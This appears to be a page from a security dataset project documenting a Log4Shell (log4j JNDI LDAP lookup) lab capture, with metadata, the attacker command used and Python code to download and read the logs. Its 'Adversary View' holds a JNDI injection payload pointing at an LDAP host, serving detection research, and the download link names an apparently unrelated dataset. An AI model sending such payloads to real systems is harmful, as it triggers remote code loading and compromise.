Log4jShell LDAP JNDI Lookup¶
Metadata¶
Contributors |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2021/12/14 |
Modification Date |
2021/12/14 |
Tactics |
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Techniques |
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Tags |
None |
Dataset Description¶
The JNDI lookup feature of log4j allows variables to be retrieved via JNDI - Java Naming and Directory Interface. This is an API that that provides naming and directory functionality to Java applications.
Datasets Downloads¶
Type |
Link |
|---|---|
Network |
Adversary View¶
java -cp target/Log4jLabProject-1.0-SNAPSHOT-all.jar com.log4jshell.App '${jndi:ldap://192.168.2.6:1389/Run}'
Explore Datasets¶
Download & Decompress Dataset¶
import requests
from zipfile import ZipFile
from io import BytesIO
url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/linux/defense_evasion/host/sh_binary_padding_dd.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])
Read JSON File¶
from pandas.io import json
df = json.read_json(path_or_buf=datasetJSONPath, lines=True)
Access Security Events¶
df.head(1)